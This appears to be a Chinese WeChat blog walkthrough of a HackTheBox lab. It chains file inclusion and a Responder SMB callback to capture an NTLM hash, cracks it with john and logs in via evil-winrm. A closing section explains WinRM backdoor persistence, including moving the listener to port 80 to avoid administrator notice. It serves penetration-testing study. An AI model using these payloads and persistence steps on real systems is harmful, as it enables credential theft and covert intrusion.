微信公众号:[小白渗透成长之路]
弱小和无知不是生存的障碍,傲慢才是!
如果你觉得文章对你有帮助,麻烦点个赞
内容目录
靶场操作
这个是hackthebox的一个入门级靶场吧,也比较简单,主要是学习一下这种姿势再复习复习之前学的,嘿嘿。
靶场操作
开局老样子,端口扫描
nmap -v -p- -min-rate 5000 -sV -sC 10.129.152.80
#-p 扫1-65535
#-min-rate 指定最小的数据包的数目,每秒不低于多少,提高扫描速度
这边我们是扫到了三个端口。
第二步:因为这里的80端口是开的,所以我们去访问80看看。
这里的10.129.152.80就直接跳转到了unika.htb,显示访问失败。
这里我们可以知道,htb这个域名应该是他内网机中的自定义域名,所以当我们去用ip请求时,就会跳转到他绑定的域名unika.htb上,然后我们的电脑就会先对本地hosts查找,看看有没有unika.htb对应的ip,如果没有,就去DNS服务器中找,由于是内网自定义域名,当然是找不到的,所以无法连接。
所以我们只需要修改本地的hosts文件,将10.129.152.80和unika.htb做个绑定就好了。
echo "10.129.152.80 unika.htb" | sudo tee -a /etc/hosts
然后我们再次去访问,就可以成功访问到了。
接下来我们又到了web渗透的环境。在我们浏览目标的过程中,我发现有个类似模板切换的功能,点击后,他的url变成了这样。
http://unika.htb/index.php?page=german.html
这个就是不是非常眼熟了,潜意识就先想到了文件包含漏洞。
我们这边就可以做一下简单的测试了。我们知道windows中有很多常见目录,这边我们用/windows/system32/drivers/etc/hosts做测试。
这边我们跳一级后,爆出了网站的绝对路径。
所以我们这边就知道,只需要往前跳三级就可以了,成功加载到了,所以,本地文件包含漏洞是稳了。
到这边是不是思路是不是就有点断了,我们这边接下来要使用的利用文件包含漏洞,来盗取主机的NTLM,如何操作,看下面。
原理:我们知道,在php中的php.ini有个allow_url_include参数,这个参数默认是off的,就是说我们不能远程去加载http或者ftp的资源。但是,PHP不会去阻止SMB的一些URL,所以我们这边就可以使用SMB来获取NTLM hash。
这边我们要用到一个工具responder,kali是自带的。
responder他主要的作用就是模拟的一些服务,例如smb,ftp等等,当别人加载到他的时候,responder就会模拟NTML的验证流程。首先responder会把challenge给到server去加密用户的密码,当server回应后,responder就会用这个challenge的值去加密生成NetNTLMv2。虽然我们不能直接解密出NTLMv2,但是我们可以做hash碰撞,看看能不能撞出来。
开始操作:
首先监听使用responder来监听我们的tun0的网卡(hackbox的vpn网卡)。
接下来我们就使用smb去请求我现在本地的地址(和靶机同一个网段的)。
http://unika.htb/index.php?page=//10.10.16.25
我们这样去请求的时候,这台靶机就会尝试连接我们的这台机器,因为连接smb是要账号和密码的,所以他会做一个验证,所以他就会用自己的账号和密码做尝试登录。
我们这边就成功的抓到了靶机的用户名和密码的hash。
然后把我们抓到的信息保存成一个txt文档。
接下来我们就要开始hash碰撞了,这边用一个工具:john
这边也是很快就撞出来了,因为这个是靶场,所以搞得人多了,官方就加进去了,所以很快,实际的话,那就看运气了。
登录的账号密码:Administrator<---->badminton
这边我们可以看到,工具也是写了出来,我们这边加密的格式是NTMLv2的格式。
现在我们得到账号密码后是不是就要考虑登录的问题了。
还记得我们开局扫的端口吗?开启了5985端口,5985端口就是我们的winRM服务。
WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。
我们这边可以使用一个kali自带的工具连接:evil-winrm
这个工具功能不只是连接,大家可以去github的项目中看看。
evil-winrm -i 10.129.152.80 -u administrator -p badminton
我们连接上去之后没有在桌面发现flag,然后我们去去查看当前用户,发现有个mike用户,来到他的桌面,我们发现了flag在这边。
然后type flag.txt
成功拿到了flag。
扩展-->winrm后门配置与使用
既然遇到了winrm,那么我们顺便也学学它其他的好思路。
WinRM服务我刚刚也说过,他使用的是http协议,如果用http就是5985端口,如果是https就是5986端口,因为是http协议,所以能够非常容易的穿过防火墙进行收发,所以我们可以用作后门做权限维持。
使用前提:需要目标机器的高权限用户的明文账号密码(就和我们刚刚打点靶机一样)。
开搞!!
winrm quickconfig ‐q
#开启wimrm服务,win2012以下默认关闭
#这条命令运行后会自动添加防火墙例外规则,放行5985端口
netsh http show servicestate
#验证是否开启成功
这样就是开启成功的。
对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
这条命令将会开启80端口的监听器,如若服务器上存在web服务,也不影响这条命令的执行。
查看所开启的监听器。
winrm e winrm/config/listener
我们netstat -ano查看端口情况,可以发现我们的5985端口
如果计算机本身是没有开winRM,是你自己打开的,那么要将winrm的监听端口改成80,不然很有可能被管理员发现直接暴露。命令如下:
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
# 修改winrm的端口为80
然后我们再去看看端口情况
刚才再这个位置,现在没有了。
经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,server上的web服务也能完全正常运行。
winrm后门使用
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="管理本机的ip地址"}
然后我们这边就可以做连接了。
windows(要安装有winrs):
winrs -r:http://192.168.159.132 -u:administrator -p:hacker1961. ipconfig
kali:
evil-winrm -i 192.168.159.132 -P-u administrator -p hacker1961
如果windows出现了下面这个报错信息,我们还需要在客户端(也就是连接机)上执行下面这条命令,设置为信任所有主机,再去连接即可:
winrm set winrm/config/Client @{TrustedHosts="*"}
这边为了方便,我就用kali连了。
这边因为我这win server环境的问题,http有点问题,所以是一个不足吧,没有一个好的收尾。
非administrator用户登录
此外,WinRM服务是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后,普通管理员登录后也是高权限。
还请各位师傅们多多斧正。
原文始发于微信公众号(小白渗透成长之路):HTB之从文件包含到getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论